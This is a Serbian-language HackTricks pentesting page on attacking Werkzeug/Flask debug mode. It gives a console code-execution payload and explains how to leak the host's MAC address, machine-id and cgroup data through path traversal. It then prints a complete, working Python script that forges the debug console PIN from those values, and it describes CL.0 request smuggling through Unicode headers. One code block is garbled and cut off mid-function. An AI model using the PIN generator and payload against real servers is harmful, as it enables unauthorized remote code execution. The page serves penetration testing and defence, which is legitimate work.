hacktricks/network-services-pentesting/pentesting-web/werkzeug.md

10 KiB

Werkzeug / Flask Debug

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju školjke i zabavljaju se.

{% embed url="https://pentest-tools.com/" %}

Console RCE

Ako je debug aktivan, možete pokušati da pristupite /console i steknete RCE.

__import__('os').popen('whoami').read();

Postoje i nekoliko eksploatacija na internetu poput ove ili jedna u metasploit-u.

Zaštićeno šifrom - Prolazak kroz putanju

U nekim prilikama, /console krajnja tačka će biti zaštićena šifrom. Ako imate ranjivost prolaska kroz datoteke, možete procuriti sve potrebne informacije za generisanje te šifre.

Eksploatacija PIN-a Werkzeug konzole

Prisilite grešku u debagovanju aplikacije da biste videli ovo:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Poruka u vezi sa scenarijem "zaključane konzole" se susreće prilikom pokušaja pristupa Werkzeug-ovom interfejsu za debagovanje, što ukazuje na potrebu za PIN-om kako bi se otključala konzola. Predlog je da se iskoristi PIN konzole analiziranjem algoritma generisanja PIN-a u Werkzeug-ovom inicijalnom fajlu za debagovanje (__init__.py). Mehanizam generisanja PIN-a može se proučiti iz Werkzeug izvornog koda na repozitorijumu, iako se preporučuje da se stvarni serverski kod nabavi putem ranjivosti prolaska kroz fajlove zbog potencijalnih razlika u verzijama.

Za iskorišćavanje PIN-a konzole, potrebna su dva skupa promenljivih, probably_public_bits i private_bits:

probably_public_bits

  • username: Odaje na korisnika koji je pokrenuo Flask sesiju.
  • modname: Obično označen kao flask.app.
  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Generalno se rešava u Flask.
  • getattr(mod, '__file__', None): Predstavlja puni put do app.py unutar Flask direktorijuma (npr. /usr/local/lib/python3.5/dist-packages/flask/app.py). Ako app.py nije primenljiv, pokušajte sa app.pyc.

private_bits

  • uuid.getnode(): Dohvata MAC adresu trenutne mašine, pri čemu str(uuid.getnode()) prevodi u decimalni format.
  • Da biste odredili MAC adresu servera, morate identifikovati aktivni mrežni interfejs koji koristi aplikacija (npr. ens3). U slučajevima neizvesnosti, procuretajte /proc/net/arp kako biste pronašli ID uređaja, a zatim izdvojite MAC adresu iz /sys/class/net/<device id>/address.
  • Konverziju heksadecimalne MAC adrese u decimalni format možete izvršiti na sledeći način:
# Primer MAC adrese: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): Spaja podatke iz /etc/machine-id ili /proc/sys/kernel/random/boot_id sa prvom linijom /proc/self/cgroup nakon poslednje kose crte (/).
Kod za `get_machine_id()` ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

Nakon prikupljanja svih potrebnih podataka, eksploatacioni skript može biti izvršen kako bi generisao Werkzeug konzolni PIN. Skript koristi sastavljene `probably_public_bits` i `private_bits` kako bi kreirao heš, koji zatim prolazi kroz dodatnu obradu kako bi se generisao konačni PIN. U nastavku je Python kod za izvršavanje ovog procesa:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Ovaj skript generiše PIN tako što hešira konkatenirane bitove, dodaje specifične soli (cookiesalt i pinsalt), i formatira izlaz. Važno je napomenuti da stvarne vrednosti za probably_public_bits i private_bits treba tačno dobiti sa ciljnog sistema kako bi se osiguralo da generisani PIN odgovara očekivanom od strane Werkzeug konzole.

{% hint style="success" %} Ako koristite staru verziju Werkzuga, pokušajte promeniti algoritam heširanja u md5 umesto sha1. {% endhint %}

Werkzeug Unicode karakteri

Kako je primećeno u ovom problemu, Werkzeug ne zatvara zahtev sa Unicode karakterima u zaglavljima. Kako je objašnjeno u ovom objašnjenju, to može izazvati ranjivost na CL.0 Request Smuggling.

Ovo je zato što je u Werkzeugu moguće poslati neke Unicode karaktere i to će naterati server da prekine. Međutim, ako je HTTP veza kreirana sa zaglavljem Connection: keep-alive, telo zahteva neće biti pročitano i veza će i dalje biti otvorena, tako da će se telo zahteva tretirati kao naredni HTTP zahtev.

Automatizovana eksploatacija

{% embed url="https://github.com/Ruulian/wconsole_extractor" %}

Reference

Trenutno dostupno podešavanje za procenu ranjivosti & testiranje proboja. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za otkrivanje & eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se.

{% embed url="https://pentest-tools.com/" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: